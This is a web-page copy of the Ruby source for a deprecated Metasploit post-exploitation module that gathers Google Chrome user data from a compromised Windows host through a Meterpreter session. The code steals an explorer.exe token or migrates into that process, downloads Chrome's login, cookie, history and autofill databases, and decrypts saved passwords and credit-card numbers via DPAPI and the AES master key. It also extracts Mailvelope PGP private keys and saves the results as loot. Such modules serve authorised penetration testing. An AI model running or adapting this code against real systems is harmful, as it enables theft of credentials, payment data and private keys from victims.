Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_chrome.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::Priv
9
include Msf::Exploit::Deprecated
10
11
deprecated nil, 'The post/windows/gather/enum_browsers module now supersedes this module'
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Gather Google Chrome User Data Enumeration',
18
'Description' => %q{
19
This module will collect user data from Google Chrome and attempt to decrypt
20
sensitive information.
21
},
22
'License' => MSF_LICENSE,
23
'Platform' => ['win'],
24
'SessionTypes' => ['meterpreter'],
25
'Author' => [
26
'Sven Taute', # Original (Meterpreter script)
27
'sinn3r', # Metasploit post module
28
'Kx499', # x64 support
29
'mubix' # Parse extensions
30
],
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [],
34
'Reliability' => []
35
},
36
'Compat' => {
37
'Meterpreter' => {
38
'Commands' => %w[
39
core_channel_close
40
core_channel_eof
41
core_channel_open
42
core_channel_read
43
core_migrate
44
stdapi_fs_stat
45
stdapi_railgun_api
46
stdapi_sys_config_getenv
47
stdapi_sys_config_getsid
48
stdapi_sys_config_getuid
49
stdapi_sys_config_steal_token
50
stdapi_sys_process_attach
51
stdapi_sys_process_get_processes
52
stdapi_sys_process_memory_allocate
53
stdapi_sys_process_memory_read
54
stdapi_sys_process_memory_write
55
]
56
}
57
}
58
)
59
)
60
61
register_options(
62
[
63
OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),
64
]
65
)
66
end
67
68
def extension_mailvelope_parse_key(data)
69
return data.gsub("\x00", '').tr('[]', '').gsub('\\r', '').gsub('"', '').gsub('\\n', "\n")
70
end
71
72
def extension_mailvelope_store_key(name, value)
73
return unless name =~ /(private|public)keys/i
74
75
priv_or_pub = Regexp.last_match(1)
76
77
keys = value.split(',')
78
print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
79
keys.each do |key|
80
key_data = extension_mailvelope_parse_key(key)
81
vprint_good(key_data)
82
path = store_loot(
83
"chrome.mailvelope.#{priv_or_pub}", 'text/plain', session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key"
84
)
85
print_good("==> Saving #{priv_or_pub} key to: #{path}")
86
end
87
end
88
89
def extension_mailvelope(username, extname)
90
chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'
91
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
92
if file_exist?(maildb_path) == false
93
print_error('==> Mailvelope database not found')
94
return
95
end
96
print_status('==> Downloading Mailvelope database...')
97
local_path = store_loot('chrome.ext.mailvelope', 'text/plain', session, 'chrome_ext_mailvelope')
98
session.fs.file.download_file(local_path, maildb_path)
99
print_good("==> Downloaded to #{local_path}")
100
101
maildb = SQLite3::Database.new(local_path)
102
_, *rows = maildb.execute2('select * from ItemTable;')
103
maildb.close
104
105
rows.each do |name, value|
106
extension_mailvelope_store_key(name, value)
107
end
108
end
109
110
def parse_prefs(username, filepath)
111
prefs = ''
112
File.open(filepath, 'rb') do |f|
113
prefs = f.read
114
end
115
results = ActiveSupport::JSON.decode(prefs)
116
if results['extensions']['settings']
117
print_status('Extensions installed: ')
118
results['extensions']['settings'].each do |name, values|
119
next unless values['manifest']
120
121
print_status("=> #{values['manifest']['name']}")
122
if values['manifest']['name'] =~ /mailvelope/i
123
print_good('==> Found Mailvelope extension, extracting PGP keys')
124
extension_mailvelope(username, name)
125
end
126
end
127
end
128
end
129
130
def get_master_key(local_state_path)
131
local_state_data = read_file(local_state_path)
132
local_state = JSON.parse(local_state_data)
133
master_key_base64 = local_state['os_crypt']['encrypted_key']
134
master_key = Rex::Text.decode_base64(master_key_base64)
135
master_key
136
end
137
138
def decrypt_data(data)
139
mem = session.railgun.kernel32.LocalAlloc(0, data.length)['return']
140
return nil if mem == 0
141
142
session.railgun.memwrite(mem, data, data.length)
143
144
if session.arch == ARCH_X86
145
inout_fmt = 'V2'
146
elsif session.arch == ARCH_X64
147
inout_fmt = 'Q2'
148
else
149
fail_with(Failure::NoTarget, 'Session architecture must be either x86 or x64.')
150
end
151
152
pdatain = [data.length, mem].pack(inout_fmt)
153
ret = session.railgun.crypt32.CryptUnprotectData(pdatain, nil, nil, nil, nil, 0, pdatain.length)
154
len, addr = ret['pDataOut'].unpack(inout_fmt)
155
156
decrypted = len == 0 ? nil : session.railgun.memread(addr, len)
157
158
multi_rail = []
159
multi_rail << ['kernel32', 'LocalFree', [mem]]
160
multi_rail << ['kernel32', 'LocalFree', [addr]] if addr != 0
161
session.railgun.multi(multi_rail)
162
163
decrypted
164
end
165
166
def process_files(username)
167
secrets = ''
168
masterkey = nil
169
decrypt_table = Rex::Text::Table.new(
170
'Header' => 'Decrypted data',
171
'Indent' => 1,
172
'Columns' => ['Name', 'Decrypted Data', 'Origin']
173
)
174
175
@chrome_files.each do |item|
176
if item[:in_file] == 'Preferences'
177
parse_prefs(username, item[:raw_file])
178
end
179
180
next if item[:sql].nil?
181
next if item[:raw_file].nil?
182
183
db = SQLite3::Database.new(item[:raw_file])
184
begin
185
columns, *rows = db.execute2(item[:sql])
186
rescue StandardError
187
next
188
end
189
db.close
190
191
rows.map! do |row|
192
res = Hash[*columns.zip(row).flatten]
193
next unless item[:encrypted_fields] && !session.sys.config.is_system?
194
195
item[:encrypted_fields].each do |field|
196
name = res['name_on_card'].nil? ? res['username_value'] : res['name_on_card']
197
origin = res['label'].nil? ? res['origin_url'] : res['label']
198
enc_data = res[field]
199
200
if enc_data.start_with? 'v10'
201
unless masterkey
202
print_status('Found password encrypted with masterkey')
203
local_state_path = @profiles_path + '\\' + username + @data_path + 'Local State'
204
masterkey_encrypted = get_master_key(local_state_path)
205
masterkey = decrypt_data(masterkey_encrypted[5..])
206
print_good('Found masterkey!') if masterkey
207
end
208
209
cipher = OpenSSL::Cipher.new('aes-256-gcm')
210
cipher.decrypt
211
cipher.key = masterkey
212
cipher.iv = enc_data[3..14]
213
ciphertext = enc_data[15..-17]
214
cipher.auth_tag = enc_data[-16..]
215
pass = res[field + '_decrypted'] = cipher.update(ciphertext) + cipher.final
216
else
217
pass = res[field + '_decrypted'] = decrypt_data(enc_data)
218
end
219
next unless !pass.nil? && (pass != '')
220
221
decrypt_table << [name, pass, origin]
222
secret = "url:#{origin} #{name}:#{pass}"
223
secrets << secret << "\n"
224
vprint_good("Decrypted data: #{secret}")
225
end
226
end
227
end
228
229
if secrets != ''
230
path = store_loot('chrome.decrypted', 'text/plain', session, decrypt_table.to_s, 'decrypted_chrome_data.txt', 'Decrypted Chrome Data')
231
print_good("Decrypted data saved in: #{path}")
232
end
233
end
234
235
def extract_data(username)
236
# Prepare Chrome's path on remote machine
237
chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'
238
raw_files = {}
239
240
@chrome_files.map { |e| e[:in_file] }.uniq.each do |f|
241
remote_path = chrome_path + '\\' + f
242
243
# Verify the path before downloading the file
244
if file_exist?(remote_path) == false
245
print_error("#{f} not found")
246
next
247
end
248
249
# Store raw data
250
local_path = store_loot("chrome.raw.#{f}", 'text/plain', session, "chrome_raw_#{f}")
251
raw_files[f] = local_path
252
session.fs.file.download_file(local_path, remote_path)
253
print_good("Downloaded #{f} to '#{local_path}'")
254
end
255
256
# Assign raw file paths to @chrome_files
257
raw_files.each_pair do |raw_key, raw_path|
258
@chrome_files.each do |item|
259
if item[:in_file] == raw_key
260
item[:raw_file] = raw_path
261
end
262
end
263
end
264
265
return true
266
end
267
268
def steal_token
269
current_pid = session.sys.process.open.pid
270
target_pid = session.sys.process['explorer.exe']
271
return if target_pid == current_pid
272
273
if target_pid.to_s.empty?
274
print_warning('No explorer.exe process to impersonate.')
275
return
276
end
277
278
print_status("Impersonating token: #{target_pid}")
279
begin
280
session.sys.config.steal_token(target_pid)
281
return true
282
rescue Rex::Post::Meterpreter::RequestError => e
283
print_error("Cannot impersonate: #{e.message}")
284
return false
285
end
286
end
287
288
def migrate(pid = nil)
289
current_pid = session.sys.process.open.pid
290
if !pid.nil? && (current_pid != pid)
291
# PID is specified
292
target_pid = pid
293
print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")
294
begin
295
session.core.migrate(target_pid)
296
rescue StandardError => e
297
print_error(e.message)
298
return false
299
end
300
else
301
# No PID specified, assuming to migrate to explorer.exe
302
target_pid = session.sys.process['explorer.exe']
303
if target_pid != current_pid
304
@old_pid = current_pid
305
print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
306
begin
307
session.core.migrate(target_pid)
308
rescue StandardError => e
309
print_error(e)
310
return false
311
end
312
end
313
end
314
return true
315
end
316
317
def run
318
@chrome_files = [
319
{ raw: '', in_file: 'Web Data', sql: 'select * from autofill;' },
320
{ raw: '', in_file: 'Web Data', sql: 'SELECT username_value,origin_url,signon_realm FROM logins;' },
321
{ raw: '', in_file: 'Web Data', sql: 'select * from autofill_profiles;' },
322
{ raw: '', in_file: 'Web Data', sql: 'select * from credit_cards;', encrypted_fields: ['card_number_encrypted'] },
323
{ raw: '', in_file: 'Cookies', sql: 'select * from cookies;' },
324
{ raw: '', in_file: 'History', sql: 'select * from urls;' },
325
{ raw: '', in_file: 'History', sql: 'SELECT url FROM downloads;' },
326
{ raw: '', in_file: 'History', sql: 'SELECT term FROM keyword_search_terms;' },
327
{ raw: '', in_file: 'Login Data', sql: 'select * from logins;', encrypted_fields: ['password_value'] },
328
{ raw: '', in_file: 'Bookmarks', sql: nil },
329
{ raw: '', in_file: 'Preferences', sql: nil },
330
]
331
332
@old_pid = nil
333
migrate_success = false
334
335
# If we can impersonate a token, we use that first.
336
# If we can't, we'll try to MIGRATE (more aggressive) if the user wants to
337
got_token = steal_token
338
if !got_token && datastore['MIGRATE']
339
migrate_success = migrate
340
end
341
342
session.session_host
343
344
# Get Google Chrome user data path
345
env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME')
346
sysdrive = env_vars['SYSTEMDRIVE'].strip
347
if directory?("#{sysdrive}\\Users")
348
@profiles_path = "#{sysdrive}/Users"
349
@data_path = '\\AppData\\Local\\Google\\Chrome\\User Data\\'
350
elsif directory?("#{sysdrive}\\Documents and Settings")
351
@profiles_path = "#{sysdrive}/Documents and Settings"
352
@data_path = '\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\'
353
end
354
355
# Get user(s)
356
usernames = []
357
if is_system?
358
print_status('Running as SYSTEM, extracting user list...')
359
print_warning('(Automatic decryption will not be possible. You might want to manually migrate, or set "MIGRATE=true")')
360
session.fs.dir.foreach(@profiles_path) do |u|
361
not_actually_users = [
362
'.', '..', 'All Users', 'Default', 'Default User', 'Public', 'desktop.ini',
363
'LocalService', 'NetworkService'
364
]
365
usernames << u unless not_actually_users.include?(u)
366
end
367
print_status "Users found: #{usernames.join(', ')}"
368
else
369
uid = session.sys.config.getuid
370
print_status "Running as user '#{uid}'..."
371
usernames << env_vars['USERNAME'].strip if env_vars['USERNAME']
372
end
373
374
has_sqlite3 = true
375
begin
376
require 'sqlite3'
377
rescue LoadError
378
print_warning('SQLite3 is not available, and we are not able to parse the database.')
379
has_sqlite3 = false
380
end
381
382
# Process files for each username
383
usernames.each do |u|
384
print_status("Extracting data for user '#{u}'...")
385
success = extract_data(u)
386
process_files(u) if success && has_sqlite3
387
end
388
389
# Migrate back to the original process
390
if datastore['MIGRATE'] && @old_pid && migrate_success
391
print_status('Migrating back...')
392
migrate(@old_pid)
393
end
394
end
395
end
396
397